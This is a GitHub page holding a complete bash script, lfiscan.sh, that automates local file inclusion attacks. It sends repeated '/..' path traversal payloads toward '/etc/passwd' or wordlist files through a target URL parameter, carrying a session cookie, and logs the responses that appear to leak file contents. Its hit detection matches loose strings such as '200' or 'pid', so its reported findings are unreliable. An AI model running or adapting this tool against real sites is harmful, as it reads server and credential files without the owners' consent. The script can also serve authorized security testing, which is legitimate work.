-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathlfiscan.sh
263 lines (221 loc) · 7.54 KB
/
lfiscan.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
#!/bin/bash
tput reset
reset=`tput sgr0`
red=`tput setaf 1`
green=`tput setaf 2`
yellow=`tput setaf 3`
blue=`tput setaf 4`
magenta=`tput setaf 5`
cyan=`tput setaf 6`
white=`tput setaf 7`
temp="/tmp/lfiscan/"
mkdir "$temp" 2>/dev/null
#rm -r /tmp/lfiscan/* 2>/dev/null
systime=$(date +"%m-%d-%y")
output="${output}"
travels="${travels}"
path="/.."
sp='//--\\||'
payload="/etc/passwd"
return=0
args="$@"
url="${url}"
lines="${lines}"
target=${target}
cookie="${example}"
wordlist="${wordlist}"
sample="${sample}"
bar='###############################################################'
while getopts "u:c:w:t:h" option; do
case $option in
u)
url=$OPTARG
target=$(echo $url | sed -e 's|^[^/]*//||' -e 's|/.*$||')
output="$target"
echo "" > "$temp$output""_payload"
;;
c)
cookie=$OPTARG;;
w)
wordlist=$OPTARG
lines=$(cat $wordlist | wc -l)
;;
t)
travels=$OPTARG;;
h)
sample=1
;;
\?)
clear
sample=1
;;
esac
done
function confirm {
QUESTION=$1
DEFAULT=$2
if [ "$DEFAULT" = true ]; then
OPTIONS="[Y/n]"
DEFAULT="y"
else
OPTIONS="[y/N]"
DEFAULT="n"
fi
read -p "$QUESTION $OPTIONS " -n 1 -s -r INPUT
INPUT=${INPUT:-${DEFAULT}}
echo ${INPUT}
echo ""
if [[ "$INPUT" =~ ^[yY]$ ]]; then
ANSWER=true
else
ANSWER=false
fi
}
function banner(){
echo -e "${blue}
███████ ██████ █████ ██████ ███████ ███████ ███████ ██████
██ ██ ██ ██ ██ ██ ██ ██ ██ ██
███████ ██████ ███████ ██ █████ ███████ █████ ██
██ ██ ██ ██ ██ ██ ██ ██ ██
███████ ██ ██ ██ ██████ ███████ ███████ ███████ ██████"
echo "${red}linktr.ee/hltakydn${reset} ${blue}coded by hLtAkydn"
echo -e " ${green}Version: v0.6\n"
for i in {1..100}; do
if [[ $i > 0 ]]; then
color=${red}
fi
if [[ $i > 15 ]]; then
color=${red}
fi
if [[ $i > 30 ]]; then
color=${yellow}
fi
if [[ $i > 50 ]]; then
color=${green}
fi
if [[ $i > 75 ]]; then
color=${green}
fi
echo -ne "${color}${bar:0:$i}\r"
sleep .02
done
echo -ne "${green}# Attacking targets without mutual consent is illegal! ########${reset}\n"
sleep 1
echo -e "\n${red}===================${green}Local File Inclusion Scanner${red}=================\n${reset}"
sleep 1
}
function sample(){
if [[ "$sample" = 1 ]]; then
echo -e '\n'${red}'Example: '${green}'./lfiscan.sh '${magenta}'-u '${yellow}'"http://example.com/index.php?page=" '${magenta}''
echo -e '\n'${red}'Advanced: '${green}'./lfiscan.sh '${magenta}'-u '${yellow}'"http://example.com/index.php?page=" '${magenta}'-c '${yellow}'"PHPSESSID=;" '${magenta}'-w '${yellow}'wordlist.txt'${reset}''
echo -e '\n'${red}' '${green}'./lfiscan.sh '${magenta}'-u '${yellow}'"http://example.com/index.php?page=" '${magenta}'-c '${yellow}'"PHPSESSID=;" '${magenta}'-w '${yellow}'wordlist.txt '${magenta}'-t '${yellow}'5'${reset}''
echo -e "\n${green}The scan results are saved in the ${cyan}$temp ${green}folder and the ${cyan}-t 3 ${green}parameter specifies travels ${red}/../../../ "
exit
fi
}
function domain() {
if curl --output /dev/null --silent --head --fail "$target"; then
echo -e "[${green}*${reset}] [HST] ${green}$target${reset} code: $(curl -sL -w "%{http_code}\\n" "$target" -o /dev/null)"
echo -e "[${green}*${reset}] [RPT] Report Path: ${cyan}$temp$output${reset}\n"
else
echo -e "[${red}!${reset}] [URL] URL Does Not Exist: $target\n"
exit
fi
}
function stats(){
tput cup 16 0 && tput ed
echo -ne "[${green}${sp:i++%${#sp}:1}${reset}] [SCN] Scan in Progress ($k)\n"
}
function clean(){
tput cup 17 0 && tput ed
}
function checking(){
if [[ $(grep 'bin' /tmp/lfiscan/$output"_tmp") == *":0:0:"* ]] || [[ $(grep 'HW type' /tmp/lfiscan/$output"_tmp") == *"HW type"* ]]; then
clean
echo -e "[${green}!${reset}] [LFI] ${green}$url$payload${reset}\n"
echo -e "$url$payload" >> "$temp$output""_payload"
sleep 3
if [[ $return = 0 ]]; then
confirm "[${green}?${reset}] ${red}Continue Scanning?${reset}" true
DOIT=$ANSWER
if [[ "$DOIT" = true ]]; then
return=1
else
exit
fi
fi
clean
fi
if [[ $(grep 'This product contains software licensed under terms which require Microsoft to display the following' /tmp/lfiscan/$output"_tmp") == *"This product contains software licensed under terms which require Microsoft to display the following"* ]] || [[ $(grep '200' /tmp/lfiscan/$output"_tmp") == *"200"* ]] || [[ $(grep 'HTTP' /tmp/lfiscan/$output"_tmp") == *"HTTP"* ]] || [[ $(grep ':tid' /tmp/lfiscan/$output"_tmp") == *":tid"* ]] || [[ $(grep 'pid' /tmp/lfiscan/$output"_tmp") == *"pid"* ]] || [[ $(grep 'PHP Warning:' /tmp/lfiscan/$output"_tmp") == *"PHP Warning:"* ]] || [[ $(grep 'ssl:warn' /tmp/lfiscan/$output"_tmp") == *"ssl:warn"* ]] || [[ $(grep 'core:notice' /tmp/lfiscan/$output"_tmp") == *"core:notice"* ]] || [[ $(grep 'child process' /tmp/lfiscan/$output"_tmp") == *"child process"* ]] || [[ $(grep 'worker threads' /tmp/lfiscan/$output"_tmp") == *"worker threads"* ]]; then
clean
echo -e "[${green}!${reset}] [LFI] ${green}$url$payload${reset}\n"
echo -e "$url$payload" >> "$temp$output""_payload"
sleep 3
if [[ $return = 0 ]]; then
confirm "[${green}?${reset}] ${red}Continue Scanning?${reset}" true
DOIT=$ANSWER
if [[ "$DOIT" = true ]]; then
return=1
else
exit
fi
fi
clean
fi
}
function scanner(){
if [[ -z "$url" ]]; then
sample
exit
fi
if [[ -z "$travels" ]]; then
travels=5
fi
if [[ -z "$wordlist" ]]; then
echo -e "[*] [URL] [ $url$payload ]" >> "$temp$output"
curl -s --cookie "$cookie" "$url$payload" >> "$temp$output"
curl -s --cookie "$cookie" "$url$payload" > "$temp$output""_tmp"
for ((h = 0; h < travels; h++)); do
payload="$path$payload"
echo -e "[*] [URL] [ $url$payload ]" >> "$temp$output"
curl -s --cookie "$cookie" "$url$payload" >> "$temp$output"
curl -s --cookie "$cookie" "$url$payload" > "$temp$output""_tmp"
echo -ne "[${red}?${reset}] [URL] ${red}$url$payload${reset}\r"
((j++)); k="$(($j))/$(($travels))"
checking "$url"
sleep .2
stats
done
else
proces=$(cat "$wordlist")
for payload in $proces; do
echo -e "[*] [URL] [ $url$payload ]" >> "$temp$output"
curl -s --cookie "$cookie" "$url$payload" >> "$temp$output"
curl -s --cookie "$cookie" "$url$payload" > "$temp$output""_tmp"
for ((h = 0; h < travels; h++)); do
payload="$path$payload"
echo -e "[*] [URL] [ $url$payload ]" >> "$temp$output"
curl -s --cookie "$cookie" "$url$payload" >> "$temp$output"
curl -s --cookie "$cookie" "$url$payload" > "$temp$output""_tmp"
echo -ne "[${red}?${reset}] [URL] ${red}$url$payload${reset}\r"
((j++)); k="$(($j))/$(($travels * $lines))"
checking "$url"
sleep .2
stats
done
done
fi
clean
confirm "[${green}?${reset}] [FNS] ${red}scan completed, open payload list?${reset}" true
DOIT=$ANSWER
if [[ "$DOIT" = true ]]; then
nano "$temp$output""_payload"
exit
else
exit
fi
}
banner
sample
domain
scanner